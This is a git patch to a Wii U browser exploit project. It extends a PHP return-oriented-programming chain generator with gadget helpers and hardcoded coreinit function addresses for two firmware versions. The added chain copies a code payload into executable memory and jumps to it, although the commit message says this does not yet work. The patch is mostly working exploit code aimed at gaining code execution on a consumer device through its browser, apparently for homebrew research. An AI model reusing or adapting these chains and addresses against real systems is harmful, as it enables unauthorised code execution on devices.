From 7b1c3df7577e61d89dfe375107462327fab1c533 Mon Sep 17 00:00:00 2001 From: yellows8 Date: Tue, 1 Dec 2015 10:00:37 -0500 Subject: [PATCH] Implemented the rest of the ROP. This doesn't actually work atm: it crashes when trying to jump to the loaded codebin. --- wiiu_browserhax_common.php | 131 ++++++++++++++++++++++++++++++++++-- wiiuhaxx_locaterop.sh | 8 +++ wiiuhaxx_rop_sysver_532.php | 8 +++ wiiuhaxx_rop_sysver_550.php | 8 +++ 4 files changed, 151 insertions(+), 4 deletions(-) diff --git a/wiiu_browserhax_common.php b/wiiu_browserhax_common.php index 41da988..b44d749 100644 --- a/wiiu_browserhax_common.php +++ b/wiiu_browserhax_common.php @@ -41,9 +41,17 @@ $ROP_memcpy Address of "memcpy" in coreinit. $ROP_DCFlushRange Address of "DCFlushRange" in coreinit. void DCFlushRange(const void *addr, size_t length); $ROP_ICInvalidateRange Address of "ICInvalidateRange" in coreinit. void ICInvalidateRange(const void *addr, size_t length); $ROP_OSSwitchSecCodeGenMode Address of "OSSwitchSecCodeGenMode" in coreinit. OSSwitchSecCodeGenMode(bool execute) +$ROP_OSCodegenCopy Address of "OSCodegenCopy" in coreinit. u32 OSCodegenCopy(dstaddr, srcaddr, size) +$ROP_OSGetCurrentThread Address of "OSGetCurrentThread" in coreinit. OSThread *OSGetCurrentThread(void) $ROP_OSSetThreadAffinity Address of "OSSetThreadAffinity" in coreinit. OSSetThreadAffinity(OSThread* thread, u32 affinity) $ROP_OSYieldThread Address of "OSYieldThread" in coreinit. OSYieldThread(void) -$ROP_OSFatal Address of "$ROP_OSFatal" in coreinit. +$ROP_OSFatal Address of "OSFatal" in coreinit. +$ROP_Exit Address of "_Exit" in coreinit. +$ROP_OSScreenFlipBuffersEx Address of "OSScreenFlipBuffersEx" in coreinit. +$ROP_OSScreenClearBufferEx Address of "OSScreenClearBufferEx" in coreinit. +$ROP_OSDynLoad_Acquire Address of "OSDynLoad_Acquire" in coreinit. +$ROP_OSDynLoad_FindExport Address of "OSDynLoad_FindExport" in coreinit. +$ROP_os_snprintf Address of "__os_snprintf" in coreinit. */ function genu32_unicode($value)//This would need updated to support big-endian. @@ -97,7 +105,7 @@ function ropgen_pop_r24_to_r31($inputregs) ropchain_appendu32(0x0); } -function ropgen_callfunc($funcaddr, $r3, $r4, $r5, $r6) +function ropgen_callfunc($funcaddr, $r3, $r4, $r5, $r6, $r28) { global $ROP_CALLR28_POP_R28_TO_R31, $ROP_CALLFUNC; @@ -115,6 +123,92 @@ function ropgen_callfunc($funcaddr, $r3, $r4, $r5, $r6) ropchain_appendu32($ROP_CALLFUNC); + ropchain_appendu32($r28);//r28 + ropchain_appendu32(0x0);//r29 + ropchain_appendu32(0x0);//r30 + ropchain_appendu32(0x0);//r31 + ropchain_appendu32(0x0); +} + +function ropgen_OSFatal($stringaddr) +{ + global $ROP_OSFatal; + + ropgen_callfunc($ROP_OSFatal, $stringaddr, 0x0, 0x0, 0x0, 0x0); +} + +function ropgen_Exit() +{ + global $ROP_Exit; + + ropchain_appendu32($ROP_Exit); +} + +function ropgen_OSScreenFlipBuffersEx($screenid) +{ + global $ROP_OSScreenFlipBuffersEx; + + ropgen_callfunc($ROP_OSScreenFlipBuffersEx, $screenid, 0x0, 0x0, 0x0, 0x0); +} + +function ropgen_OSScreenClearBufferEx($screenid, $color)//Don't use any of this OSScreen stuff, this stuff just crashes since OSScreen wasn't initialized properly. +{ + global $ROP_OSScreenClearBufferEx; + + ropgen_callfunc($ROP_OSScreenClearBufferEx, $screenid, $color, 0x0, 0x0, 0x0); +} + +function ropgen_colorfill($screenid, $r, $g, $b, $a) +{ + ropgen_OSScreenClearBufferEx($screenid, ($r<<24) | ($g<<16) | ($b<<8) | $a); + ropgen_OSScreenFlipBuffersEx($screenid); +} + +function ropgen_OSCodegenCopy($dstaddr, $srcaddr, $size) +{ + global $ROP_OSCodegenCopy; + + ropgen_callfunc($ROP_OSCodegenCopy, $dstaddr, $srcaddr, $size, 0x0, 0x0); +} + +function ropgen_DCFlushRange($addr, $size) +{ + global $ROP_DCFlushRange; + + ropgen_callfunc($ROP_DCFlushRange, $addr, $size, 0x0, 0x0, 0x0); +} + +function ropgen_ICInvalidateRange($addr, $size) +{ + global $ROP_ICInvalidateRange; + + ropgen_callfunc($ROP_ICInvalidateRange, $addr, $size, 0x0, 0x0, 0x0); +} + +function ropgen_copycodebin_to_codegen($codegen_addr, $codebin_addr, $codebin_size) +{ + ropgen_OSCodegenCopy($codegen_addr, $codebin_addr, $codebin_size); + //ropchain_appendu32(0x50505050); + ropgen_DCFlushRange($codegen_addr, $codebin_size); + ropgen_ICInvalidateRange($codegen_addr, $codebin_size); +} + +function ropgen_switchto_core1() +{ + global $ROP_OSGetCurrentThread, $ROP_OSSetThreadAffinity, $ROP_OSYieldThread, $ROP_CALLR28_POP_R28_TO_R31; + + ropgen_callfunc($ROP_OSGetCurrentThread, 0x0, 0x2, 0x0, 0x0, $ROP_OSSetThreadAffinity);//Set r3 to current OSThread* and setup r31 + the r28 value used by the below. + + ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);//ROP_OSSetThreadAffinity(, 0x2); + + ropchain_appendu32($ROP_OSYieldThread);//r28 + ropchain_appendu32(0x0);//r29 + ropchain_appendu32(0x0);//r30 + ropchain_appendu32(0x0);//r31 + ropchain_appendu32(0x0); + + ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31); + ropchain_appendu32(0x0);//r28 ropchain_appendu32(0x0);//r29 ropchain_appendu32(0x0);//r30 @@ -124,8 +218,37 @@ function ropgen_callfunc($funcaddr, $r3, $r4, $r5, $r6) function generateropchain_type1() { - global $ROP_OSFatal; - ropgen_callfunc($ROP_OSFatal, 0x14572D28, 0x0, 0x0, 0x0);//OSFatal(); + global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf; + + $payload_size = 0x20000;//Doesn't really matter if the actual payload data size in memory is smaller than this or not. + $payload_srcaddr = 0x14572D28-0x5000; + $codegen_addr = 0x01800000; + + //ropgen_colorfill(0x1, 0xff, 0xff, 0x0, 0xff);//Color-fill the gamepad screen with yellow. + + //ropchain_appendu32(0x80808080);//Trigger a crash. + + //ropgen_OSFatal($codepayload_srcaddr);//OSFatal(); + + ropgen_switchto_core1(); + + ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); + + //ropgen_colorfill(0x1, 0xff, 0xff, 0xff, 0xff);//Color-fill the gamepad screen with white. + + $regs = array(); + $regs[24 - 24] = $ROP_OSFatal;//r24 + $regs[25 - 24] = $ROP_Exit;//r25 + $regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26 + $regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27 + $regs[28 - 24] = $ROP_os_snprintf;//r28 + $regs[29 - 24] = 0x0;//r29 + $regs[30 - 24] = 0x0;//r30 + $regs[31 - 24] = 0x0;//r31 + + ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase. +ropgen_Exit();//Exit here since the below causes a crash. + ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written. } ?> diff --git a/wiiuhaxx_locaterop.sh b/wiiuhaxx_locaterop.sh index 3f92ee7..dbd3ee9 100755 --- a/wiiuhaxx_locaterop.sh +++ b/wiiuhaxx_locaterop.sh @@ -16,7 +16,15 @@ getcoreinit_symboladdr "memcpy" "\$ROP_memcpy" getcoreinit_symboladdr "DCFlushRange" "\$ROP_DCFlushRange" getcoreinit_symboladdr "ICInvalidateRange" "\$ROP_ICInvalidateRange" getcoreinit_symboladdr "OSSwitchSecCodeGenMode" "\$ROP_OSSwitchSecCodeGenMode" +getcoreinit_symboladdr "OSCodegenCopy" "\$ROP_OSCodegenCopy" +getcoreinit_symboladdr "OSGetCurrentThread" "\$ROP_OSGetCurrentThread" getcoreinit_symboladdr "OSSetThreadAffinity" "\$ROP_OSSetThreadAffinity" getcoreinit_symboladdr "OSYieldThread" "\$ROP_OSYieldThread" getcoreinit_symboladdr "OSFatal" "\$ROP_OSFatal" +getcoreinit_symboladdr "_Exit" "\$ROP_Exit" +getcoreinit_symboladdr "OSScreenFlipBuffersEx" "\$ROP_OSScreenFlipBuffersEx" +getcoreinit_symboladdr "OSScreenClearBufferEx" "\$ROP_OSScreenClearBufferEx" +getcoreinit_symboladdr "OSDynLoad_Acquire" "\$ROP_OSDynLoad_Acquire" +getcoreinit_symboladdr "OSDynLoad_FindExport" "\$ROP_OSDynLoad_FindExport" +getcoreinit_symboladdr "__os_snprintf" "\$ROP_os_snprintf" echo "?>" diff --git a/wiiuhaxx_rop_sysver_532.php b/wiiuhaxx_rop_sysver_532.php index e1057dc..935a158 100644 --- a/wiiuhaxx_rop_sysver_532.php +++ b/wiiuhaxx_rop_sysver_532.php @@ -11,7 +11,15 @@ $ROP_memcpy = 0x01035a68; $ROP_DCFlushRange = 0x01023ee8; $ROP_ICInvalidateRange = 0x01024010; $ROP_OSSwitchSecCodeGenMode = 0x010370c0; +$ROP_OSCodegenCopy = 0x010370d8; +$ROP_OSGetCurrentThread = 0x010429cc; $ROP_OSSetThreadAffinity = 0x01042284; $ROP_OSYieldThread = 0x01041250; $ROP_OSFatal = 0x01031368; +$ROP_Exit = 0x0101cd70; +$ROP_OSScreenFlipBuffersEx = 0x0103a9d0; +$ROP_OSScreenClearBufferEx = 0x0103aa90; +$ROP_OSDynLoad_Acquire = 0x0102a31c; +$ROP_OSDynLoad_FindExport = 0x0102b790; +$ROP_os_snprintf = 0x0102f09c; ?> diff --git a/wiiuhaxx_rop_sysver_550.php b/wiiuhaxx_rop_sysver_550.php index 3550a32..7c64a33 100644 --- a/wiiuhaxx_rop_sysver_550.php +++ b/wiiuhaxx_rop_sysver_550.php @@ -11,7 +11,15 @@ $ROP_memcpy = 0x01035fc8; $ROP_DCFlushRange = 0x01023f88; $ROP_ICInvalidateRange = 0x010240b0; $ROP_OSSwitchSecCodeGenMode = 0x010376c0; +$ROP_OSCodegenCopy = 0x010376d8; +$ROP_OSGetCurrentThread = 0x01043150; $ROP_OSSetThreadAffinity = 0x010429dc; $ROP_OSYieldThread = 0x010418e4; $ROP_OSFatal = 0x01031618; +$ROP_Exit = 0x0101cd80; +$ROP_OSScreenFlipBuffersEx = 0x0103afd0; +$ROP_OSScreenClearBufferEx = 0x0103b090; +$ROP_OSDynLoad_Acquire = 0x0102a3b4; +$ROP_OSDynLoad_FindExport = 0x0102b828; +$ROP_os_snprintf = 0x0102f160; ?>